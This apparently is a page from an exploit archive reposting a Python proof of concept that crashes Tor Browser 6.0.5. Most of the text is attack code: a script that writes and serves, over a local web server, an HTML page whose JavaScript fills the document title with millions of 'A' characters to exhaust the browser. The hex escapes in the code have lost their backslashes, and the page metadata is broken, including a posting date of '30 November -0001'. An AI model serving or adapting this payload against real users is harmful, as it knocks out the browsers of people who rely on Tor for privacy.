Home / os / win8

Tor Browser 6.0.5 remote Denial of Service

Posted on 30 November -0001

<HTML><HEAD><TITLE>Tor Browser 6.0.5 remote Denial of Service</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#Exploit Title: Tor Browser 6.0.5 remote Denial of Service #Author: Sultan Albalawi #video:https://www.facebook.com/pentest3/videos/vb.100012552940568/204971129931317/?type=2&theater #Tested on:win7 # external ip http://extrnal-ip:6060 #or torbrowser--> ctrl+o --> choose file--> click_crash from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer import subprocess,string host='192.168.100.3' port=6060 ban= 'x0dx0ax20x20x20x20x20x20x20x5cx20x20x20x2dx20x20' ban+='x2dx20x20x2dx20x3cx73x65x72x76x65x72x3ex20x20x2d' ban+='x20x5cx2dx2dx2dx3cx20x2dx20x2dx20x20x2dx20x2dx20' ban+='x20x2dx20x20x2ax0dx0ax20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x2ax2ax2ax0dx0ax20x20x20' ban+='x20x20x20x20x7cx20x20x20x20x44x6fx63x5fx41x74x74' ban+='x61x63x6bx20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x2ax2ax2a' ban+='x2ax2ax0dx0ax20x20x20x20x20x20x20x7cx20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' ban+='x20x20x20x76x20x20x20x20x20x20x20x20x60x20x60x2e' ban+='x20x20x20x20x2cx3bx27x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x2ax2ax2ax2ax41x70x50' ban+='x2ax2ax2ax2ax0dx0ax20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x60x2ex20x20x2cx27x2fx20x2ex27' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0d' ban+='x0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x60x2ex20x58x20x2fx2ex27x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x2ax20x20x20x20x20x2ax2ax2a' ban+='x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' ban+='x20x20x20x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5fx60x20' ban+='x60x20x28x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x2ax2ax2ax20x20x20x20x20x20x20x20x20x20x7cx0d' ban+='x0ax20x20x20x20x20x2ex27x20x20x20x20x20x20x20x20' ban+='x20x20x20x2fx20x20x20x20x27x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x2ax2ax2ax2ax2ax20x20x20x20x20x20' ban+='x20x20x20x7cx20x64x61x74x61x62x61x73x65x0dx0ax20' ban+='x20x20x20x20x3bx53x65x63x75x72x69x74x79x60x20x20' ban+='x27x20x30x20x20x30x20x27x20x20x20x20x20x20x20x20' ban+='x20x2ax2ax2ax4ex45x54x2ax2ax2ax20x20x20x20x20x20' ban+='x20x7cx0dx0ax20x20x20x20x2cx20x20x20x20x20x20x20' ban+='x2cx20x20x20x20x27x20x20x7cx20x20x27x20x20x20x20' ban+='x20x20x20x20x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax20' ban+='x20x20x20x20x20x20x5ex0dx0ax20x2cx2ex20x7cx20x20' ban+='x20x20x20x20x20x27x20x20x20x20x20x60x2ex5fx2ex27' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x7c' ban+='x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2dx5ex20x20x20x20' ban+='x20x20x20x20x20x20x2fx0dx0ax20x3ax20x20x2ex20x60' ban+='x20x20x3bx20x20x20x60x20x20x60x20x2dx2dx2cx2ex2e' ban+='x5fx3bx2dx2dx2dx3ex20x20x20x20x20x20x20x20x20x7c' ban+='x20x20x20x20x20x20x20x27x2ex27x2ex27x5fx5fx5fx5f' ban+='x5fx5fx5fx5fx20x2ax0dx0ax20x20x27x20x60x20x20x20' ban+='x20x2cx20x20x20x29x20x20x20x2ex27x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x5ex20' ban+='x20x20x20x20x20x20x20x7cx5fx7cx20x46x69x72x65x77' ban+='x61x6cx6cx20x29x0dx0ax20x20x20x20x20x60x2ex5fx20' ban+='x2cx20x20x27x20x20x20x2fx5fx20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x7cx20x20' ban+='x20x20x20x20x20x20x20x20x20x20x7cx7cx20x20x20x20' ban+='x7cx7cx0dx0ax20x20x20x20x20x20x20x20x3bx20x2cx27' ban+='x27x2dx2cx3bx27x20x60x60x2dx5fx5fx5fx5fx5fx5fx5f' ban+='x5fx5fx5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0ax20x20x20' ban+='x20x20x20x20x20x20x60x60x2dx2ex2ex5fx5fx60x60x2d' ban+='x2dx60x20x20x20x20x20x20x20x69x70x73x20x20x20x20' ban+='x20x20x20x2dx20x20x20x20x20x20x20x20x20x20x20x5e' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x2fx0dx0ax20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x2dx20x20x20x20x20x20x20x20x27' ban+='x2ex20x5fx2dx2dx2dx2dx2dx2dx2dx2dx2dx2ax0dx0ax20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x2dx5fx5fx5fx5fx5fx5fx5fx20' ban+='x7cx5fx20x20x49x50x53x20x20x20x20x20x29x0dx0ax20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' ban+='x20x20x20x20x7cx7cx20x20x20x20x20x7cx7cx0dx0ax20' ban+=' ' ban+='x53x75x6cx74x61x6ex5fx41x6cx62x61x6cx61x77x69 ' ban+='x68x74x74x70x73x3ax2fx2fx77x77x77x2ex66x61x63x65x62x6fx6fx6bx2ex63x6fx6dx2fx70x65x6ex74x65x73x74x33 ' ban+="x61x6cx62x61x6cx61x77x69x34x70x65x6ex74x65x73x74x40x67x6dx61x69x6cx2ex63x6fx6d" print ban print "please wait ...." htmlcrach=('''<html> <head> <title>Tor Browser 6.0.5 Crash (poc)</title> </br> <h1>Tor Browser 6.0.5 Crash (poc) <h1> <h1>x41x75x74x68x6fx72x3ax20x53x75x6cx74x61x6ex2dx61x6cx62x61x6cx61x77x69<h1> <h1>x68x74x74x70x73x3ax2fx2fx77x77x77x2ex66x61x63x65x62x6fx6fx6bx2ex63x6fx6dx2fx70x65x6ex74x65x73x74x33 <h1> </div> <script type="text/javascript"> function ex() { var buf = ""; for (var i = 0; i <x35x30x30x30x30; i++) { buf += "x41"; } var buff = buf; for (i = 0; i <x35x30x30x30; i++) { buff += buf; } document.title = buff; } </script></head><body><a href="javascript:ex();">Click_Crash </a></body></html>''') i=1 while i <= 20: i+=1 ban+=string.ascii_uppercase*250 ban=ban class Req(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(htmlcrach) class runHTTP(HTTPServer): def __init__(self,host,port): ipadd=(host,port) HTTPServer.__init__(self,ipadd,Req) def createfile(): global filecreate filecreate = "TorCrash.html" open(filecreate, "wb").write(htmlcrach) print ('file done: {}').format(filecreate) def start(): global filecreate ser=runHTTP(host,port) print "http://{}:{}/{}".format(host,port,filecreate) ser.serve_forever() createfile() start()</BODY></HTML>

 

TOP